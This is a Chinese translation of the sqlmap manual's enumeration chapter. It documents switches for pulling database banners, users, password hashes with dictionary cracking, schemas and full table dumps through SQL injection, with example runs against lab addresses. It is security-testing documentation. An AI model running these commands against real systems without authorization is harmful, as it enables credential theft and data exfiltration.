3.10 SqlMap用法—枚舉
這些選項可用于枚舉表中包含的后端數據庫管理系統信息,結構和數據。此外,您可以運行自己的SQL語句。
3.10.1.檢索全部
開關: --all
此開關可用于用戶想要通過使用單個開關來檢索可遠程訪問的所有內容的情況。不建議這樣做,因為它會生成大量檢索有用和無用數據的請求。
3.10.2.列舉數據庫管理系統信息
切換:-b或--banner
大多數現代數據庫管理系統都有一個函數和/或一個環境變量,該函數和/或環境變量返回數據庫管理系統的版本,并最終在其補丁程序級別(即基礎系統)上進行詳細說明。通常,函數為version(),環境變量為@@version,但這取決于目標DBMS。
針對Oracle目標的示例:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" -
-banner
[...]
[xx:xx:11] [INFO] fetching banner
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
3.10.3.當前用戶
開關: --current-user
通過此開關,可以檢索數據庫管理系統的用戶,該用戶正在有效地從Web應用程序對后端DBMS執行查詢。
3.10.4.當前數據庫
開關: --current-db
使用此開關,可以檢索Web應用程序連接到的數據庫管理系統的數據庫名稱。
3.10.5.服務器主機名
開關: --hostname
通過此開關,可以檢索數據庫管理系統的主機名。
針對MySQL目標的示例:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --
hostname
[...]
[xx:xx:04] [INFO] fetching server hostname
[xx:xx:04] [INFO] retrieved: debian-5.0-i386
hostname: 'debian-5.0-i386'
3.10.6.檢測會話用戶是否是數據庫管理員
開關: --is-dba
可以檢測當前的數據庫管理系統會話用戶是否是數據庫管理員,也稱為DBA。True如果是,則sqlmap將返回,反之亦然False。
3.10.7.列出數據庫管理系統用戶
開關: --users
當會話用戶具有對包含DBMS用戶信息的系統表的讀取訪問權限時,可以枚舉用戶列表。
3.10.8.列出并破解數據庫管理系統用戶的密碼Hash值
開關: --passwords
當會話用戶具有對有關DBMS用戶密碼信息的系統表的讀取訪問權限時,可以枚舉每個數據庫管理系統用戶的密碼哈希。sqlmap將首先枚舉用戶,然后為每個用戶枚舉不同的密碼哈希。
針對PostgreSQL目標的示例:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --
passwords -v 1
[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
password hash: md5d7d880f96044b72d0bba108ace96d1e4
clear-text password: testpass
[*] testuser [1]:
password hash: md599e5ea7a6f7c3269995cba3927fd0093
clear-text password: testpass
sqlmap不僅枚舉了DBMS用戶及其密碼,而且還識別了哈希格式為PostgreSQL,詢問用戶是否針對字典文件測試哈希并確定postgres用戶的明文密碼,通常是另一個用戶DBA和testuser密碼。
此功能已在所有DBMS上實現,可以枚舉用戶的密碼哈希,包括Oracle和Microsoft SQL Server 2005之前和之后的版本。
您還可以提供選項-U以指定要枚舉的特定用戶,并最終破解密碼哈希。如果您提供CU用戶名,它將被視為當前用戶的別名,并將檢索該用戶的密碼哈希。
3.10.9.列出數據庫管理系統用戶權限
開關: --privileges
當會話用戶具有對包含DBMS用戶信息的系統表的讀取訪問權限時,可以枚舉每個數據庫管理系統用戶的特權。通過特權,sqlmap還將向您顯示哪些是數據庫管理員。
您還可以提供選項-U以指定要枚舉特權的用戶。
如果您提供CU用戶名,它將被視為當前用戶的別名,并枚舉該用戶的特權。
在Microsoft SQL Server上,此功能將向您顯示每個用戶是否是數據庫管理員,而不是所有用戶的特權列表。
3.10.10.列出數據庫管理系統用戶角色
開關: --roles
當會話用戶具有對包含DBMS用戶信息的系統表的讀取訪問權限時,可以枚舉每個數據庫管理系統用戶的角色。
您還可以提供選項-U以指定要枚舉特權的用戶。
如果您提供CU用戶名,它將被視為當前用戶的別名,并枚舉該用戶的特權。
僅當DBMS是Oracle時,此功能才可用。
3.10.11.列出數據庫管理系統的數據庫
開關: --dbs
當會話用戶具有對包含有關可用數據庫信息的系統表的讀取訪問權限時,可以枚舉數據庫列表。
3.10.12.列舉數據庫表
開關和選項:--tables,--exclude-sysdbs和-D
當會話用戶具有對包含有關數據庫表信息的系統表的讀取訪問權限時,可以枚舉特定數據庫管理系統數據庫的表列表。
如果您沒有使用option提供特定的數據庫-D,則sqlmap將枚舉所有DBMS數據庫的表。
您還可以提供此開關--exclude-sysdbs以排除所有系統數據庫。
請注意,在Oracle上,您必須提供TABLESPACE_NAME而不是數據庫名稱。
3.10.13.列舉數據庫表列
開關和選項:--columns,-C,-T和-D
當會話用戶具有對包含有關數據庫表信息的系統表的讀取訪問權限時,可以枚舉特定數據庫表的列列表。sqlmap還枚舉每列的數據類型。
此功能取決于-T用于指定表名稱的選項,也可以取決于-D指定數據庫名稱的選項。如果未指定數據庫名稱,則使用當前數據庫名稱。您還可以提供-C選項來指定表列名稱,就像您要枚舉的名稱一樣。
針對SQLite目標的示例:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" -
-columns -D testdb -T users -C name
[...]
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column | Type |
+---------+---------+
| id | INTEGER |
| name | TEXT |
| surname | TEXT |
+---------+---------+
請注意,在PostgreSQL上,您必須提供public或系統數據庫的名稱。這是因為不可能枚舉其他數據庫表,只能枚舉Web應用程序用戶所連接的模式下的表,這些表始終以別名public。
3.10.14.枚舉數據庫管理系統架構
開關:--schema和--exclude-sysdbs
用戶可以使用此開關檢索DBMS模式。模式清單將包含所有數據庫,表和列,以及它們各自的類型。與--exclude-sysdbs僅包含非系統數據庫的部分架構結合使用,即可檢索和顯示。
針對MySQL目標的示例:
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --s
chema--batch --exclude-sysdbs
[...]
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column | Type |
+-------------+---------+
| cid | int(11) |
| mysignature | text |
| password | text |
| username | text |
+-------------+---------+
Database: owasp10
Table: blogs_table
[4 columns]
+--------------+----------+
| Column | Type |
+--------------+----------+
| date | datetime |
| blogger_name | text |
| cid | int(11) |
| comment | text |
+--------------+----------+
Database: owasp10
Table: hitlog
[6 columns]
+----------+----------+
| Column | Type |
+----------+----------+
| date | datetime |
| browser | text |
| cid | int(11) |
| hostname | text |
| ip | text |
| referer | text |
+----------+----------+
Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column | Type |
+---------+---------------+
| id | int(11) |
| name | varchar(500) |
| surname | varchar(1000) |
+---------+---------------+
[...]
3.10.15.檢索表的條目數
開關: --count
如果用戶在轉儲所需條目之前只想知道表中的條目數,則可以使用此開關。
針對Microsoft SQL Server目標的示例:
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"
--count -D testdb
[...]
Database: testdb
+----------------+---------+
| Table | Entries |
+----------------+---------+
| dbo.users | 4 |
| dbo.users_blob | 2 |
+----------------+---------+
3.10.16.列舉數據庫表中數據
開關和選項:--dump,-C,-T,-D,--start,--stop,--first,--last,--pivot-column和--where
權限允許時可以列舉表中數據。用參數“-D”指定數據庫,用參數“-T”指定數據表,用參數“-C”指定目標列。
若只指定了數據表而沒有指定數據庫則默認使用當前數據庫。若沒有指定列則列舉表中全部列。
此功能取決于-T用于指定表名稱的選項以及可選地-D用于指定數據庫名稱的選項。如果提供了表名,但沒有提供數據庫名,則使用當前數據庫名。
針對Firebird目標的示例:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1"
--dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME | SURNAME |
+----+--------+------------+
| 1 | luther | blisset |
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | NULL | nameisnull |
+----+--------+------------+
此開關還可用于保存所提供數據庫的所有表條目。您只需要提供帶有開關的sqlmap --dump以及僅選項-D(no -T和no -C)。
您還可以提供一個特定列的逗號分隔列表,以使用option轉儲-C。
sqlmap還為每個轉儲的表生成CSV格式文本文件中的條目。您可以通過提供大于或等于1的詳細級別來查看sqlmap創建文件的絕對路徑。
如果只想轉儲一系列條目,則可以提供選項--start和/或--stop分別從某個條目開始轉儲并在某個條目處停止轉儲。例如,如果您只想轉儲第一個條目,請--stop 1在命令行中提供。反之亦然,例如,如果您只想轉儲第二和第三項,請提供--start 1 --stop 3。
也可以使用選項--first和來指定要轉儲的單個字符或字符范圍--last。例如,如果要轉儲列的條目從第三個字符到第五個字符,請提供--first 3 --last 5。此功能僅適用于盲SQL注入技術,因為對于基于錯誤的查詢和UNION查詢SQL注入技術,無論要轉儲的列條目輸出的長度如何,請求的數量都完全相同。
有時(例如,對于Microsoft SQL Server,Sybase和SAP MaxDB),OFFSET m, n由于缺少相似性,因此無法通過使用機制直接轉儲表行。在這種情況下,sqlmap通過確定最合適的pivot列(具有最唯一值的列)來轉儲內容,該列的值以后將用于檢索其他列值。如果pivot由于自動選擇的列不合適(例如,由于缺少表轉儲結果)而有必要強制使用特定列,則可以使用選項--pivot-column(例如--pivot-column=id)。
如果要將轉儲限制為特定的列值(或范圍),可以使用option --where。所提供的邏輯操作將在WHERE子句中自動使用。例如,如果--where="id>3"僅使用列值id大于3的表行,則將被檢索(通過附加WHERE id>3到使用的轉儲查詢中)。
正如您可能已經注意到的那樣,sqlmap非常靈活:您可以保留它來自動轉儲整個數據庫表,或者可以精確地確定要轉儲的字符,列的列數和范圍。
3.10.17.列舉所有數據庫所有表中所有數據
開關:--dump-all和--exclude-sysdbs
會話用戶具有讀取訪問權限時,可以一次轉儲所有數據庫表條目。
您還可以提供此開關--exclude-sysdbs以排除所有系統數據庫。在這種情況下,sqlmap將僅轉儲用戶數據庫表的條目。
請注意,在Microsoft SQL Server上,該master數據庫不被視為系統數據庫,因為某些數據庫管理員將其用作用戶數據庫。
3.10.18.搜索列,表或數據庫
開關和選項:--search,-C,-T,-D
通過此開關,您可以搜索特定的數據庫名稱,所有數據庫中的特定表或所有數據庫表中的特定列。
例如,這對于識別包含自定義應用程序憑據的表很有用,其中相關列的名稱包含諸如name和pass之類的字符串。
交換機--search需要與以下支持選項之一結合使用:
-C在以逗號分隔的列名列表之后,在整個數據庫管理系統中查找。-T請使用逗號分隔的表名列表在整個數據庫管理系統中查找。-D以下是逗號分隔的數據庫名稱列表,以在整個數據庫管理系統中查找。
3.10.19.運行自定義SQL語句
選項和開關:--sql-query和--sql-shell
SQL查詢和SQL Shell功能允許在數據庫管理系統上運行任意SQL語句。sqlmap自動剖析所提供的語句,確定哪種技術適合用于注入它,以及如何相應地打包SQL有效負載。
如果查詢是SELECT語句,則sqlmap將檢索其輸出。否則,如果Web應用程序在后端數據庫管理系統上支持多個語句,它將通過堆棧查詢SQL注入技術執行查詢。請注意,某些Web應用程序技術不支持特定數據庫管理系統上的堆疊查詢。例如,當后端DBMS是MySQL時,PHP不支持堆棧查詢,但是當后端DBMS是PostgreSQL時,PHP支持。
針對Microsoft SQL Server 2000目標的示例:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --
sql-query "SELECT 'foo'" -v 1
[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo': 'foo'
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --
sql-query "SELECT 'foo', 'bar'" -v 2
[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now
unpack it into distinct queries to be able to retrieve the output even if we are
going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS
VARCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA
RCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar': 'foo, bar'
如您所見,sqlmap將提供的查詢分為兩個不同的SELECT語句,然后為每個單獨的查詢檢索輸出。
如果提供的查詢是一個SELECT語句并包含一個FROM子句,則sqlmap將詢問您該語句是否可以返回多個條目。在這種情況下,該工具會知道如何正確解壓縮查詢以對可能的條目數進行計數并檢索其輸出,即每個條目的條目。
SQL Shell選項允許您交互地運行自己的SQL語句,就像連接到數據庫管理系統的SQL控制臺一樣。此功能還提供了TAB完成和歷史記錄支持。
SqlMap中文版使用教程
推薦文章: